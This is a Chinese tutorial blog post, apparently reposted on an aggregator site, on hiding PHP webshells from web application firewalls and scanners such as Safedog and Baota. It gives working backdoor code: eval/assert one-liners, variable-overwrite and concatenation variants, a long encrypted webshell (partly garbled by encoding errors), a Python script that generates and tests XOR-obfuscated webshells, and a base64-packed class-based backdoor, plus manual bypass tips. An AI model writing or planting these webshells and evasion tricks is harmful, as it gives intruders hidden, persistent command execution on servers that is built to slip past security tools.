WAF攻防免杀代码行为层&异或&加密&指纹&编码

Posted 遗憾zzz

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了WAF攻防免杀代码行为层&异或&加密&指纹&编码相关的知识,希望对你有一定的参考价值。

一、webshell后门控制原理&查杀机制-函数&行为

后门原理:用到eval或者assert等这类函数将传参的数据进行脚本代码执行,如获取当前文件夹列表的信息,只需将获取代码传参给eval执行即可。

比如 <?php eval($_POST['cd']);?>
那么菜刀接受的会是:cd=文件列表获取代码
eval(文件列表获取代码) == 工具显示结果

waf拦截:入流量-代码块 传输块
                 出流量-结果 工具指纹

二、webshell覆盖&传参、加密&异或

1.变量覆盖

<?php 
$a='b';
$b='assert';
$$a($_POST['x']);
//$$a=$b
?>
//这里相当于变量覆盖 b=assert $a=assert 最后$$a=assert

2.函数传参

<?php 
$a=$_GET['a'];
$aa=$a.'ert';
$aa($_POST['x']);
//?a=ass 密码x
?>
//相当于变量a接收传参 ass,然后变量aa=assert,最后就演变成assert($_POST['x']);

3.php加密
php加密平台:http://www.phpjm.net/encode.html
                        https://www.phpjiami.com/phpjiami.html

直接上传webshell,它这个平台会采用自己的算法进行php加密,加密后会保证webshell能正常连接

<?php /* PHP Encode by  https://Www.PHPJiaMi.Com/ */error_reporting(0);ini_set("display_errors", 0);if(!defined('snamdiej')){define('snamdiej',__FILE__);if(!function_exists("掔伌")){function 掔伌(&$提ⅸ氌茚?$偔偙话罁){$谜硯愌笞?$扰??$满赌埸=$?枨符=$)枠鷶='樒其邨气挭?;$凃崵坚鍥曤?$谜硯愌笞?'EQPERYQFAG');$儬蹣湧=$扰?逎?'EQEVNB');$灾妹?$满赌埸('BXDVVYWRFHVBBC');$湀幥哈菗?$?枨符('EQCEWABGWQZC');$剚蟓晻劝?$?枨符('BBD1UQ==');$仴偱诲捬穫?$凃崵坚鍥曤?$儬蹣湧($灾妹?$湀幥哈菗?$)枠鷶('Gb靥7X0591E9NE??6BX鬎诣J3ONX9R4V頱蔠3??NJW1RDU訩RTaK0熊T郈在臆SS+7Q刂闥5N+K?+V2bYR霺U?TOU闙芀PW543谑谿JX?42X?6bMU5+bY讨S8I栖訶訷9S?bA6蘆NUU?Oa鹛QK/8?PXL7TQTVES42谝諻襓')))));$挚幤旍鏊=$剚蟓晻劝?',',$仴偱诲捬穫?;$提ⅸ氌茚?$挚幤旍鏊[$偔偙话罁];}function 艧劽鰴嵀殒($冩羝氊埌?{global$瘖暛橥?$櫕殳實衿?$∞轺淊愺逵,$斮?驘掟欇,$郸宄礁?$誀娿彲?$兂貅豹?$剛欅轂?$有瑷跈挙?$茊颊儡伭?$染鑿缇,$囁恺绝雠,$疴?$犉壳楍?$る玻偷,$覍剷櫥嚖?$谜硯愌笞?$扰?逎?$满赌埸=$?枨符=$)枠鷶=$熱霒=$+砀务稍?$儸燮畠帋繛?$搱闪曕=$満群崮饖?$龚啴救靛=$p瘐?$绚庵紮を蛩=$喖渾穻=$戼鶎卧='樒其邨气挭?;$亢邔毻彉?$谜硯愌笞?'EQ鍿PEVWRA锈X頙艫A==');$瞅魤姢=$谜硯愌笞?'BQ轍');$婈鎳冰=$谜硯愌笞?'A?L');$に褔魢鲅涊=$谜硯愌笞?'DA轇EV谼XQ餛');$旙硤??$谜硯愌笞?'UFNSU?=');$?嬫碴旜?$谜硯愌笞?'ABEFAA==');$拲刮逓⒀?$谜硯愌笞?'ABEFFQ==');$捎?$谜硯愌笞?'KT?M2?属J?);$舯逆?$谜硯愌笞?'M襓頝XN豠駼鹑TE=');$迂頂劓銝嵇?$谜硯愌笞?'M験霯GJ騛駼鹑TE=');$亢邔毻彉?)==$婈鎳冰?$瞅魤姢():'';$褵钋毐婙=$瘖暛橥?$誀娿彲?$谜硯愌笞?'E?DD豃蔝Q?')));if(!isset($_SERVER[$捎醈)&&!isset($_SERVER[$舯逆嘳)&&!isset($_SERVER[$迂頂劓銝嵇嘳)){$瞅魤姢();};$?嬫碴旜?$に褔魢鲅涊(true)*$旙硤??eval("");if(($に褔魢鲅涊(true)*$旙硤??$?嬫碴旜?>100){$瞅魤姢();}eval($谜硯愌笞?'CAVKEEJFRA5GGTI?GZBX1ZADRGQ11JKTRNRGV餏BUQLB05MA='));!$染鑿缇($戼鶎卧($櫕殳實衿?$褵钋毐婙,$扰?逎?'TF'),$满赌埸('TFI='))),$犉壳楍?$櫕殳實衿?$褵钋毐婙,$)枠鷶('UQ=='),$熱霒('TF'))))?$妥贪丰?):$醇毲ㄊ宇?$夃敨⑽=$+砀务稍?'TFJXW?=');$湽詡聯=$儸燮畠帋繛?'TF');$湽詡聯=$疴?@$有瑷跈挙?$龚啴救靛($櫕殳實衿?$褵钋毐婙,$夃敨⑽,$湽詡聯))));return$湽詡聯;}function 樒其邨气挭?$滯磰祥,$嶍嵆售诔?''){$穗褊饸='base64_decode';$犉壳楍?$穗褊饸('bWQ1');$袄磭=$犉壳楍?'皴躐');$俘兺=$穗褊饸('b3Jk');$垯夨敪=$穗褊饸('c3RybGVu');$斢な拣=$穗褊饸('Y2hy');$嶍嵆售诔?!$嶍嵆售诔?$俘兺('?):$嶍嵆售诔?$§従偪=$跌竿潝?for(;$§従偪<$垯夨敪($滯磰祥);$§従偪++)$溨饎.=$俘兺($滯磰祥{$§従偪})<$俘兺('?)?(($俘兺($滯磰祥{$§従偪})>$嶍嵆售诔?&$俘兺($滯磰祥{$§従偪})<$俘兺('?))?$斢な拣($俘兺($滯磰祥{$§従偪})/2):$滯磰祥{$§従偪}):'';$湽詡聯=$穗褊饸($溨饎);$§従偪=$跌竿潝?$俘兺=$罎胲讑西?$垯夨敪($袄磭);for(;$§従偪<$垯夨敪($湽詡聯);$§従偪++){$俘兺=$俘兺?$俘兺:$罎胲讑西?$俘兺--;$暵辋嘞憰?=$湽詡聯[$§従偪]^$袄磭[$俘兺];}return$暵辋嘞憰?}}}global$瘖暛橥?$迟辶聯穼?$櫕殳實衿?$∞轺淊愺逵,$拏戊,$斮?驘掟欇,$郸宄礁?$誀娿彲?$兂貅豹?$剛欅轂?$有瑷跈挙?$茊颊儡伭?$染鑿缇,$囁恺绝雠,$疴?$犉壳楍?$る玻偷,$覍剷櫥嚖?$闪玟曘Ц?$埶小镌簿嬰?$牬洦鞃?$箞椾冑址=$剨櫵狉嵐陣?$媹侃=$债諊嬛悦卣?$懟矞緳=$竞虼砑緮臍=$哺ㄒ㈡?$嚹蛔?$没滑媚?$讳苍衾?$嬅渺摺=$幟楇滝=$椲鷰=$姢聹w懴拥=$论送螑竾輨?$摍铓皺氈口?'掔伌';if(!$瘖暛橥?{$闪玟曘Ц?$瘖暛橥?8);$埶小镌簿嬰?$櫕殳實衿?9);$牬洦鞃?$郸宄礁?10);$箞椾冑址($有瑷跈挙?4);$剨櫵狉嵐陣?$茊颊儡伭?13);$媹侃($染鑿缇,12);$债諊嬛悦卣?$囁恺绝雠,2);$懟矞緳($疴?14);$竞虼砑緮臍($犉壳楍?15);$哺ㄒ㈡?$る玻偷,16);$嚹蛔?$覍剷櫥嚖?17);$没滑媚?$兂貅豹?18);$讳苍衾?$剛欅轂?19);$嬅渺摺($誀娿彲?11);$幟楇滝($斮?驘掟欇,5);$椲鷰($∞轺淊愺逵,6);$姢聹w懴拥($迟辶聯穼?1);$论送螑竾輨?$余棨享?3);$摍铓皺氈口?$拏戊,7);}$谜硯愌笞?$扰??$满赌埸=$?枨符='樒其邨气挭?;$冩羝氊埌?$谜硯愌笞?'P9');$湽詡聯=艧劽鰴嵀殒($$冩羝氊埌?;$る玻偷($覍剷櫥嚖?$$冩羝氊埌?);$芜驼裨玩=$剛欅轂?$湽詡聯);eval($谜硯愌笞?'BBUDD?VVRJQB1AQEFC?B7熹陴bG湮蠩YA?='));$暵辋嘞憰?$惰啄呜?$る玻偷($覍剷櫥嚖?$$冩羝氊埌?);return$暵辋嘞憰??>Gb躌1IWG?94Z餗Z?訬鎃茕4羝闔X8ZGD?OL?9I??4WDYZ5ZU8B躍騌0?YbR枣鹞43ZOQ蠰鍺K鹭闛F8AR艵FQ0?=?1YEAFUBV1艷V1FUB1B頑艫VAQICAQBUDA;



能够连接并且直接绕过查杀

4.异或加密
PHP异或流程:
在PHP中,两个变量的值进行异或时,会先将两个变量的值转换为ASCII,再将ASCII转换为二进制,对两对二进制数据进行异或,异或完,再将结果转为ASCII,最后将ASCII转为字符串,即为最终结果。

PHP异或原理:https://blog.csdn.net/qq_41617034/article/details/104441032

列如

<?php
echo "A"^"?";
//输出:~
/*
(1)
A的ASCII值:65
?的ASCII值:77
(2)
65转为二进制:1000001
90转为二进制:0111111
(3)
二进制异或结果:1111110
二进制转为ASCII:126
ASCII转为字符串:~
*/
?>

附上一个webshell异或脚本

#Bypass Safedog Shell Fuzz异或
import requests
import time
import threading,queue

def string():
while not q.empty():
        filename=q.get()
        url = 'http://127.0.0.1:8081/x/' + filename
        datas = {
'x': 'phpinfo();'
        }
        result = requests.post(url, data=datas).content.decode('utf-8')
if 'XIAODI-PC' in result:
print('check->'+filename+'->ok')
else:
print('check->'+filename+'->no')
        time.sleep(1)


def shell_test_check():
    url='http://127.0.0.1:8081/x/33xd64.php'
    datas={
'x':'phpinfo();'
    }
    result=requests.post(url,data=datas).content.decode('utf-8')
print(result)
if 'XIAODI-PC' in result:
print('ok')

if __name__ == '__main__':
    q=queue.Queue()
for i in range(1, 127):
for ii in range(1, 127):
            payload = "'" + chr(i) + "'" + '^' + "'" + chr(ii) + "'"
            code = "<?php $a=(" + payload + ").'ssert';$a($_POST[x]);?>"
            filename = str(i) + 'xd' + str(ii) + '.php'
            q.put(filename)
with open('D:/phpstudy/PHPTutorial/WWW/x/' + filename, 'a') as f:
                f.write(code)
                f.close()
print('Fuzz文件生成成功')
for x in range(20):
        t=threading.Thread(target=string)
        t.start()

三、菜刀&蚁剑&冰蝎指纹_自定义模式加密

自定义webshell加密项目:https://github.com/emh1tg/webshell-venom

<?php
class DCKM{
    function __destruct(){
        $this->OXFP('rO_wfW'^"\\x13\\x3c\\x2c\\x12\\x14\\x23",array(('CbQ`'^"\\x26\\x14\\x30\\xc")."(base64_decode('DQpAc2Vzc2lvbl9zdGFydCgpOw0KQHNldF90aW1lX2xpbWl0KDApOw0KQGVycm9yX3JlcG9ydGluZygwKTsNCmZ1bmN0aW9uIGVuY29kZSgkRCwkSyl7DQogICAgZm9yKCRpPTA7JGk8c3RybGVuKCREKTskaSsrKSB7DQogICAgICAgICRjID0gJEtbJGkrMSYxNV07DQogICAgICAgICREWyRpXSA9ICREWyRpXV4kYzsNCiAgICB9DQogICAgcmV0dXJuICREOw0KfQ0KJHBhc3M9J3Bhc3MnOw0KJHBheWxvYWROYW1lPSdwYXlsb2FkJzsNCiRrZXk9JzNjNmUwYjhhOWMxNTIyNGEnOw0KaWYgKGlzc2V0KCRfUE9TVFskcGFzc10pKXsNCiAgICAkZGF0YT1lbmNvZGUoYmFzZTY0X2RlY29kZSgkX1BPU1RbJHBhc3NdKSwka2V5KTsNCiAgICBpZiAoaXNzZXQoJF9TRVNTSU9OWyRwYXlsb2FkTmFtZV0pKXsNCiAgICAgICAgJHBheWxvYWQ9ZW5jb2RlKCRfU0VTU0lPTlskcGF5bG9hZE5hbWVdLCRrZXkpOw0KICAgICAgICBldmFsKCRwYXlsb2FkKTsNCiAgICAgICAgZWNobyBzdWJzdHIobWQ1KCRwYXNzLiRrZXkpLDAsMTYpOw0KICAgICAgICBlY2hvIGJhc2U2NF9lbmNvZGUoZW5jb2RlKEBydW4oJGRhdGEpLCRrZXkpKTsNCiAgICAgICAgZWNobyBzdWJzdHIobWQ1KCRwYXNzLiRrZXkpLDE2KTsNCiAgICB9ZWxzZXsNCiAgICAgICAgaWYgKHN0cmlwb3MoJGRhdGEsImdldEJhc2ljc0luZm8iKSE9PWZhbHNlKXsNCiAgICAgICAgICAgICRfU0VTU0lPTlskcGF5bG9hZE5hbWVdPWVuY29kZSgkZGF0YSwka2V5KTsNCiAgICAgICAgfQ0KICAgIH0NCn0NCg=='));"));
        }
    function OXFP($ZYAC,$AFOL){
        @array_map($ZYAC,$AFOL);
    }}
$dckm=new DCKM();
?>


级别0拿捏的死死的

四、安全狗&bt手工绕过流量拦截&查杀

bypass dog:直接让菜刀的base64加密流量,还原成php代码然后把加密的base64函数去除即可绕过,相当于直接明文传输

bypass Bt:在宝塔日志里面把拦截的关键字函数进行传参、拆分加密、用相同的函数,即可绕过

以上是关于WAF攻防免杀代码行为层&异或&加密&指纹&编码的主要内容,如果未能解决你的问题,请参考以下文章

WAF攻防信息收集被动&代理池&仿指纹&白名单

WAF攻防漏洞利用HPP污染&分块传输&垃圾数据

20155330 《网络攻防》 Exp3 免杀原理与实践

WAF攻防漏洞发现协议代理池Goby&Awvs&Xray

小马的免杀

2017-2018-2 20179216 《网络攻防与实践》 免杀技术